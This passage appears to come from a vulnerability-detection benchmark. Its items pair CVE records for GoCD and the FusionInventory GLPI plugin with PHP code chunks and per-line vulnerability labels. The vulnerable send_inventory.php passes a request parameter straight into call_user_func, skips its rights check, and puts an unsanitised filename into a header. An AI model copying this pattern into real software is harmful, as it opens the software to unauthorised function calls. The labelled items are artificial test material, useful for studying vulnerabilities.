"GoCD es un servidor de entrega continua. GoCD le ayuda a automatizar y agilizar el ciclo de construcci\u00f3n-prueba-lanzamiento para la entrega continua de su producto. Las versiones de GoCD anteriores a 21.1.0 filtran la clave sim\u00e9trica usada para cifrar/descifrar cualquier variable/secreto seguro en la configuraci\u00f3n de GoCD a los agentes autenticados. Un agente malicioso/comprometido puede entonces exponer esa clave desde la memoria, y potencialmente permitir a un atacante la capacidad de descifrar secretos destinados a otros agentes/entornos si tambi\u00e9n son capaces de obtener acceso a los valores de configuraci\u00f3n cifrados del servidor GoCD. Este problema ha sido corregido en GoCD versi\u00f3n 21.1.0. Actualmente no se presentan mitigaciones\n"}], "evaluatorComment": null, "id": "CVE-2022-39309", "lastModified": "2022-10-21T20:24:11.070", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.9, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-10-14T20:15:15.553", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/releases/tag/21.1.0"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/security/advisories/GHSA-f9qg-xcxq-cgv9"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://www.gocd.org/releases/#21-1-0"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-668"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-499"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, "type": "CWE-668"}
124
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * FusionInventory\n *\n * Copyright (C) 2010-2016 by the FusionInventory Development Team.\n *\n * http://www.fusioninventory.org/\n * https://github.com/fusioninventory/fusioninventory-for-glpi\n * http://forge.fusioninventory.org/\n *\n * ------------------------------------------------------------------------\n *\n * LICENSE\n *\n * This file is part of FusionInventory project.\n *\n * FusionInventory is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FusionInventory is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with FusionInventory. If not, see <http://www.gnu.org/licenses/>.\n *\n * ------------------------------------------------------------------------\n *\n * This file is used to send the inventory to user browser.\n *\n * ------------------------------------------------------------------------\n *\n * @package FusionInventory\n * @author Vincent Mazzoni\n * @author David Durieux\n * @copyright Copyright (c) 2010-2016 FusionInventory team\n * @license AGPL License 3.0 or (at your option) any later version\n * http://www.gnu.org/licenses/agpl-3.0-standalone.html\n * @link http://www.fusioninventory.org/\n * @link https://github.com/fusioninventory/fusioninventory-for-glpi\n *\n */", "include (\"../../../inc/includes.php\");", "//Session::checkRight('config', \"w\");", "$itemtype = $_GET['itemtype'];", "$function = $_GET['function'];", "$items_id = $_GET['items_id'];", "header('Cache-control: private, must-revalidate'); /// IE BUG + SSL\nheader('Content-disposition: attachment; filename='.$_GET['filename']);\nheader('Content-type: text/plain');", "", "call_user_func(['PluginFusioninventoryToolbox', $function], $items_id, $itemtype);" ]
[ 1, 1, 1, 1, 1, 0, 1, 1, 1, 0 ]
PreciseBugs
{"buggy_code_end_loc": [62, 522], "buggy_code_start_loc": [53, 521], "filenames": ["front/send_inventory.php", "inc/toolbox.class.php"], "fixing_code_end_loc": [61, 523], "fixing_code_start_loc": [52, 521], "message": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "0A68574C-AA9C-4825-8667-8D6E738A8513", "versionEndExcluding": "1.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "E4DB8EBF-93FD-4FBC-8D50-2334CE6ADE10", "versionEndExcluding": null, "versionEndIncluding": "9.3.3", "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "14A28339-0224-4846-96D1-88898B2912EC", "versionEndExcluding": "1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "02BDFBF8-8EFC-43E2-B78D-2817AF6FCA58", "versionEndExcluding": null, "versionEndIncluding": "9.4.1.1", "versionStartExcluding": null, "versionStartIncluding": "9.4.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions."}, {"lang": "es", "value": "El plugin \"FusionInventory\", en versiones anteriores a la 1.4 para GLPI 9.3.x y en las anteriores a la 1.1 para GLPI 9.4.x, gestiona de manera incorrecta las acciones sendXML."}], "evaluatorComment": null, "id": "CVE-2019-10477", "lastModified": "2019-04-01T19:25:30.453", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-03-29T14:29:00.530", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/260a864...e1f776d"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/cec774a...baa4158"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.3%2B1.4"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.4%2B1.1"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-19"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, "type": "CWE-19"}
125
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * FusionInventory\n *\n * Copyright (C) 2010-2016 by the FusionInventory Development Team.\n *\n * http://www.fusioninventory.org/\n * https://github.com/fusioninventory/fusioninventory-for-glpi\n * http://forge.fusioninventory.org/\n *\n * ------------------------------------------------------------------------\n *\n * LICENSE\n *\n * This file is part of FusionInventory project.\n *\n * FusionInventory is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FusionInventory is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with FusionInventory. If not, see <http://www.gnu.org/licenses/>.\n *\n * ------------------------------------------------------------------------\n *\n * This file is used to send the inventory to user browser.\n *\n * ------------------------------------------------------------------------\n *\n * @package FusionInventory\n * @author Vincent Mazzoni\n * @author David Durieux\n * @copyright Copyright (c) 2010-2016 FusionInventory team\n * @license AGPL License 3.0 or (at your option) any later version\n * http://www.gnu.org/licenses/agpl-3.0-standalone.html\n * @link http://www.fusioninventory.org/\n * @link https://github.com/fusioninventory/fusioninventory-for-glpi\n *\n */", "include (\"../../../inc/includes.php\");", "//Session::checkRight('config', \"w\");", "$itemtype = $_GET['itemtype'];", "", "$items_id = $_GET['items_id'];", "header('Cache-control: private, must-revalidate'); /// IE BUG + SSL\nheader('Content-disposition: attachment; filename='.$_GET['filename']);\nheader('Content-type: text/plain');", "", "call_user_func(['PluginFusioninventoryToolbox', 'sendXML'], $items_id, $itemtype);" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [62, 522], "buggy_code_start_loc": [53, 521], "filenames": ["front/send_inventory.php", "inc/toolbox.class.php"], "fixing_code_end_loc": [61, 523], "fixing_code_start_loc": [52, 521], "message": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "0A68574C-AA9C-4825-8667-8D6E738A8513", "versionEndExcluding": "1.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "E4DB8EBF-93FD-4FBC-8D50-2334CE6ADE10", "versionEndExcluding": null, "versionEndIncluding": "9.3.3", "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fusioninventory:fusioninventory:*:*:*:*:*:*:*:*", "matchCriteriaId": "14A28339-0224-4846-96D1-88898B2912EC", "versionEndExcluding": "1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "matchCriteriaId": "02BDFBF8-8EFC-43E2-B78D-2817AF6FCA58", "versionEndExcluding": null, "versionEndIncluding": "9.4.1.1", "versionStartExcluding": null, "versionStartIncluding": "9.4.0", "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "The FusionInventory plugin before 1.4 for GLPI 9.3.x and before 1.1 for GLPI 9.4.x mishandles sendXML actions."}, {"lang": "es", "value": "El plugin \"FusionInventory\", en versiones anteriores a la 1.4 para GLPI 9.3.x y en las anteriores a la 1.1 para GLPI 9.4.x, gestiona de manera incorrecta las acciones sendXML."}], "evaluatorComment": null, "id": "CVE-2019-10477", "lastModified": "2019-04-01T19:25:30.453", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-03-29T14:29:00.530", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/260a864...e1f776d"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/compare/cec774a...baa4158"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.3%2B1.4"}, {"source": "cve@mitre.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/fusioninventory/fusioninventory-for-glpi/releases/tag/glpi9.4%2B1.1"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-19"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/fusioninventory/fusioninventory-for-glpi/commit/0f777f85773b18f5252e79afa1929fcdc4858c3a"}, "type": "CWE-19"}
125
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * FusionInventory\n *\n * Copyright (C) 2010-2016 by the FusionInventory Development Team.\n *\n * http://www.fusioninventory.org/\n * https://github.com/fusioninventory/fusioninventory-for-glpi\n * http://forge.fusioninventory.org/\n *\n * ------------------------------------------------------------------------\n *\n * LICENSE\n *\n * This file is part of FusionInventory project.\n *\n * FusionInventory is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FusionInventory is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with FusionInventory. If not, see <http://www.gnu.org/licenses/>.\n *\n * ------------------------------------------------------------------------\n *\n * This file is used to manage the functions used in many classes.\n *\n * ------------------------------------------------------------------------\n *\n * @package FusionInventory\n * @author Vincent Mazzoni\n * @author David Durieux\n * @copyright Copyright (c) 2010-2016 FusionInventory team\n * @license AGPL License 3.0 or (at your option) any later version\n * http://www.gnu.org/licenses/agpl-3.0-standalone.html\n * @link http://www.fusioninventory.org/\n * @link https://github.com/fusioninventory/fusioninventory-for-glpi\n *\n */", "if (!defined('GLPI_ROOT')) {\n die(\"Sorry. You can't access directly to this file\");\n}", "/**\n * Manage the functions used in many classes.\n **/\nclass PluginFusioninventoryToolbox {", "\n /**\n * Log if extra debug enabled\n *\n * @param string $file\n * @param string $message\n */\n static function logIfExtradebug($file, $message) {\n $config = new PluginFusioninventoryConfig();\n if (PluginFusioninventoryConfig::isExtradebugActive()) {\n if (is_array($message)) {\n $message = print_r($message, true);\n }\n Toolbox::logInFile($file, $message . \"\\n\", true);\n }\n }", "", " /** Function get on http://www.php.net/manual/en/function.gzdecode.php#82930\n * used to uncompress gzip string\n *\n * @param string $data\n * @param string $filename\n * @param string $error\n * @param null|integer $maxlength\n * @return null|false|string\n */\n static function gzdecode($data, &$filename = '', &$error = '', $maxlength = null) {\n $len = strlen($data);\n if ($len < 18 || strcmp(substr($data, 0, 2), \"\\x1f\\x8b\")) {\n $error = \"Not in GZIP format.\";\n return null; // Not GZIP format (See RFC 1952)\n }\n $method = ord(substr($data, 2, 1)); // Compression method\n $flags = ord(substr($data, 3, 1)); // Flags\n if ($flags & 31 != $flags) {\n $error = \"Reserved bits not allowed.\";\n return null;\n }\n // NOTE: $mtime may be negative (PHP integer limitations)\n // $a_mtime = unpack(\"V\", substr($data, 4, 4));\n // $mtime = $a_mtime[1];\n $headerlen = 10;\n $extralen = 0;\n $extra = \"\";\n if ($flags & 4) {\n // 2-byte length prefixed EXTRA data in header\n if ($len - $headerlen - 2 < 8) {\n return false; // invalid\n }\n $a_extralen = unpack(\"v\", substr($data, 8, 2));\n $extralen = $a_extralen[1];\n if ($len - $headerlen - 2 - $extralen < 8) {\n return false; // invalid\n }\n $extra = substr($data, 10, $extralen);\n $headerlen += 2 + $extralen;\n }\n $filenamelen = 0;\n $filename = \"\";\n if ($flags & 8) {\n // C-style string\n if ($len - $headerlen - 1 < 8) {\n return false; // invalid\n }\n $filenamelen = strpos(substr($data, $headerlen), chr(0));\n if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {\n return false; // invalid\n }\n $filename = substr($data, $headerlen, $filenamelen);\n $headerlen += $filenamelen + 1;\n }\n $commentlen = 0;\n $comment = \"\";\n if ($flags & 16) {\n // C-style string COMMENT data in header\n if ($len - $headerlen - 1 < 8) {\n return false; // invalid\n }\n $commentlen = strpos(substr($data, $headerlen), chr(0));\n if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {\n return false; // Invalid header format\n }\n $comment = substr($data, $headerlen, $commentlen);\n $headerlen += $commentlen + 1;\n }\n $headercrc = \"\";\n if ($flags & 2) {\n // 2-bytes (lowest order) of CRC32 on header present\n if ($len - $headerlen - 2 < 8) {\n return false; // invalid\n }\n $calccrc = crc32(substr($data, 0, $headerlen)) & 0xffff;\n $a_headercrc = unpack(\"v\", substr($data, $headerlen, 2));\n $headercrc = $a_headercrc[1];\n if ($headercrc != $calccrc) {\n $error = \"Header checksum failed.\";\n return false; // Bad header CRC\n }\n $headerlen += 2;\n }\n // GZIP FOOTER\n $a_datacrc = unpack(\"V\", substr($data, -8, 4));\n $datacrc = sprintf('%u', $a_datacrc[1] & 0xFFFFFFFF);\n $a_isize = unpack(\"V\", substr($data, -4));\n $isize = $a_isize[1];\n // decompression:\n $bodylen = $len-$headerlen-8;\n if ($bodylen < 1) {\n // IMPLEMENTATION BUG!\n return null;\n }\n $body = substr($data, $headerlen, $bodylen);\n $data = \"\";\n if ($bodylen > 0) {\n switch ($method) {\n case 8:\n // Currently the only supported compression method:\n $data = gzinflate($body, $maxlength);\n break;\n default:\n $error = \"Unknown compression method.\";\n return false;\n }\n } // zero-byte body content is allowed\n // Verifiy CRC32\n $crc = sprintf(\"%u\", crc32($data));\n $crcOK = $crc == $datacrc;\n $lenOK = $isize == strlen($data);\n if (!$lenOK || !$crcOK) {\n $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');\n return false;\n }\n return $data;\n }", "\n /**\n * Merge 2 simpleXML objects\n *\n * @staticvar boolean $firstLoop\n * @param object $simplexml_to simplexml instance source\n * @param object $simplexml_from simplexml instance destination\n */\n static function appendSimplexml(&$simplexml_to, &$simplexml_from) {\n static $firstLoop=true;", " //Here adding attributes to parent\n if ($firstLoop) {\n foreach ($simplexml_from->attributes() as $attr_key => $attr_value) {\n $simplexml_to->addAttribute($attr_key, $attr_value);\n }\n }\n foreach ($simplexml_from->children() as $simplexml_child) {\n $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(),\n (string)$simplexml_child);\n foreach ($simplexml_child->attributes() as $attr_key => $attr_value) {\n $simplexml_temp->addAttribute($attr_key, $attr_value);\n }\n $firstLoop=false;\n self::appendSimplexml($simplexml_temp, $simplexml_child);\n }\n unset($firstLoop);\n }", "\n /**\n * Clean XML, ie convert to be insert without problem into MySQL database\n *\n * @param object $xml SimpleXMLElement instance\n * @return object SimpleXMLElement instance\n */\n function cleanXML($xml) {\n $nodes = [];\n foreach ($xml->children() as $key=>$value) {\n if (!isset($nodes[$key])) {\n $nodes[$key] = 0;\n }\n $nodes[$key]++;\n }\n foreach ($nodes as $key=>$nb) {\n if ($nb < 2) {\n unset($nodes[$key]);\n }\n }", " if (count($xml) > 0) {\n $i = 0;\n foreach ($xml->children() as $key=>$value) {\n if (count($value->children()) > 0) {\n $this->cleanXML($value);\n } else if (isset($nodes[$key])) {\n $xml->$key->$i = Toolbox::clean_cross_side_scripting_deep(\n Toolbox::addslashes_deep($value));\n $i++;\n } else {\n $xml->$key = Toolbox::clean_cross_side_scripting_deep(\n Toolbox::addslashes_deep($value));\n }\n }\n }\n return $xml;\n }", "\n /**\n * Format XML, ie indent it for pretty printing\n *\n * @param object $xml simplexml instance\n * @return string\n */\n static function formatXML($xml) {\n $string = str_replace(\"><\", \">\\n<\", $xml->asXML());\n $token = strtok($string, \"\\n\");\n $result = '';\n $pad = 0;\n $matches = [];\n $indent = 0;", " while ($token !== false) {\n // 1. open and closing tags on same line - no change\n if (preg_match('/.+<\\/\\w[^>]*>$/', $token, $matches)) {\n $indent=0;\n // 2. closing tag - outdent now\n } else if (preg_match('/^<\\/\\w/', $token, $matches)) {\n $pad = $pad-3;\n // 3. opening tag - don't pad this one, only subsequent tags\n } else if (preg_match('/^<\\w[^>]*[^\\/]>.*$/', $token, $matches)) {\n $indent=3;\n } else {\n $indent = 0;\n }", " $line = Toolbox::str_pad($token, strlen($token)+$pad, ' ', STR_PAD_LEFT);\n $result .= $line . \"\\n\";\n $token = strtok(\"\\n\");\n $pad += $indent;\n $indent = 0;\n }", " return $result;\n }", "\n /**\n * Write XML in a folder from an inventory by agent\n *\n * @param integer $items_id id of the unmanaged device\n * @param string $xml xml informations (with XML structure)\n * @param string $itemtype\n */\n static function writeXML($items_id, $xml, $itemtype) {", " $folder = substr($items_id, 0, -1);\n if (empty($folder)) {\n $folder = '0';\n }\n if (!file_exists(PLUGIN_FUSIONINVENTORY_XML_DIR)) {\n mkdir(PLUGIN_FUSIONINVENTORY_XML_DIR);\n }\n $itemtype_dir = PLUGIN_FUSIONINVENTORY_XML_DIR.strtolower($itemtype);\n if (!file_exists($itemtype_dir)) {\n mkdir($itemtype_dir);\n }\n if (!file_exists($itemtype_dir.\"/\".$folder)) {\n mkdir($itemtype_dir.\"/\".$folder);\n }\n $file = $itemtype_dir.\"/\".$folder.\"/\".$items_id.'.xml';\n $fileopen = fopen($file, 'w');\n fwrite($fileopen, $xml);\n fclose($fileopen);\n }", "\n /**\n * Add AUTHENTICATION string to XML node\n *\n * @param object $p_sxml_node XML node to authenticate\n * @param integer $p_id Authenticate id\n **/\n function addAuth($p_sxml_node, $p_id) {\n $pfConfigSecurity = new PluginFusioninventoryConfigSecurity();\n if ($pfConfigSecurity->getFromDB($p_id)) {", " $sxml_authentication = $p_sxml_node->addChild('AUTHENTICATION');", " $sxml_authentication->addAttribute('ID', $p_id);\n $sxml_authentication->addAttribute('VERSION',\n $pfConfigSecurity->getSNMPVersion($pfConfigSecurity->fields['snmpversion']));\n if ($pfConfigSecurity->fields['snmpversion'] == '3') {\n $sxml_authentication->addAttribute('USERNAME',\n $pfConfigSecurity->fields['username']);\n if ($pfConfigSecurity->fields['authentication'] != '0') {\n $sxml_authentication->addAttribute('AUTHPROTOCOL',\n $pfConfigSecurity->getSNMPAuthProtocol(\n $pfConfigSecurity->fields['authentication']));\n }\n $sxml_authentication->addAttribute('AUTHPASSPHRASE',\n $pfConfigSecurity->fields['auth_passphrase']);\n if ($pfConfigSecurity->fields['encryption'] != '0') {\n $sxml_authentication->addAttribute('PRIVPROTOCOL',\n $pfConfigSecurity->getSNMPEncryption(\n $pfConfigSecurity->fields['encryption']));\n }\n $sxml_authentication->addAttribute('PRIVPASSPHRASE',\n $pfConfigSecurity->fields['priv_passphrase']);\n } else {\n $sxml_authentication->addAttribute('COMMUNITY',\n $pfConfigSecurity->fields['community']);\n }\n }\n }", "\n /**\n * Add GET oids to XML node 'GET'\n *\n * @param object $p_sxml_node\n * @param string $p_object\n * @param string $p_oid\n * @param string $p_link\n * @param string $p_vlan\n */\n function addGet($p_sxml_node, $p_object, $p_oid, $p_link, $p_vlan) {\n $sxml_get = $p_sxml_node->addChild('GET');\n $sxml_get->addAttribute('OBJECT', $p_object);\n $sxml_get->addAttribute('OID', $p_oid);\n $sxml_get->addAttribute('VLAN', $p_vlan);\n $sxml_get->addAttribute('LINK', $p_link);\n }", "\n /**\n * Add WALK (multiple oids) oids to XML node 'WALK'\n *\n * @param object $p_sxml_node\n * @param string $p_object\n * @param string $p_oid\n * @param string $p_link\n * @param string $p_vlan\n */\n function addWalk($p_sxml_node, $p_object, $p_oid, $p_link, $p_vlan) {\n $sxml_walk = $p_sxml_node->addChild('WALK');\n $sxml_walk->addAttribute('OBJECT', $p_object);\n $sxml_walk->addAttribute('OID', $p_oid);\n $sxml_walk->addAttribute('VLAN', $p_vlan);\n $sxml_walk->addAttribute('LINK', $p_link);\n }", "\n /**\n * Get IP for device\n *\n * @param string $itemtype\n * @param integer $items_id\n * @return array\n */\n static function getIPforDevice($itemtype, $items_id) {\n $NetworkPort = new NetworkPort();\n $networkName = new NetworkName();\n $iPAddress = new IPAddress();", " $a_ips = [];\n $a_ports = $NetworkPort->find(\n ['itemtype' => $itemtype,\n 'items_id' => $items_id,\n 'instantiation_type' => ['!=', 'NetworkPortLocal']]);\n foreach ($a_ports as $a_port) {\n $a_networknames = $networkName->find(\n ['itemtype' => 'NetworkPort',\n 'items_id' => $a_port['id']]);\n foreach ($a_networknames as $a_networkname) {\n $a_ipaddresses = $iPAddress->find(\n ['itemtype' => 'NetworkName',\n 'items_id' => $a_networkname['id']]);\n foreach ($a_ipaddresses as $data) {\n if ($data['name'] != '127.0.0.1'\n && $data['name'] != '::1') {\n $a_ips[$data['name']] = $data['name'];\n }\n }\n }\n }\n return array_unique($a_ips);\n }", "\n // *********************** Functions used for inventory *********************** //", "\n /**\n * Check lock\n *\n * @param array $data\n * @param array $db_data\n * @param array $a_lockable\n * @return array\n */\n static function checkLock($data, $db_data, $a_lockable = []) {\n foreach ($a_lockable as $field) {\n if (isset($data[$field])) {\n unset($data[$field]);\n }\n if (isset($db_data[$field])) {\n unset($db_data[$field]);\n }\n }\n return [$data, $db_data];\n }", "\n /**\n * Display data from serialized inventory field\n *\n * @param array $array\n */\n static function displaySerializedValues($array) {", " foreach ($array as $key=>$value) {\n echo \"<tr class='tab_bg_1'>\";\n echo \"<th>\";\n echo $key;\n echo \"</th>\";\n echo \"<td>\";\n if (is_array($value)) {\n echo \"<table class='tab_cadre' width='100%'>\";\n PluginFusioninventoryToolbox::displaySerializedValues($value);\n echo \"</table>\";\n } else {\n echo $value;\n }\n echo \"</td>\";\n echo \"</tr>\";\n }\n }", "\n /**\n * Send serialized inventory to user browser (to download)\n *\n * @param integer $items_id\n * @param string $itemtype\n */\n static function sendSerializedInventory($items_id, $itemtype) {\n header('Content-type: text/plain');", " if (call_user_func([$itemtype, 'canView'])) {\n $item = new $itemtype();\n $item->getFromDB($items_id);\n echo gzuncompress($item->fields['serialized_inventory']);\n } else {\n Html::displayRightError();\n }\n }", "\n /**\n * Send the XML (last inventory) to user browser (to download)\n *\n * @param integer $items_id\n * @param string $itemtype\n 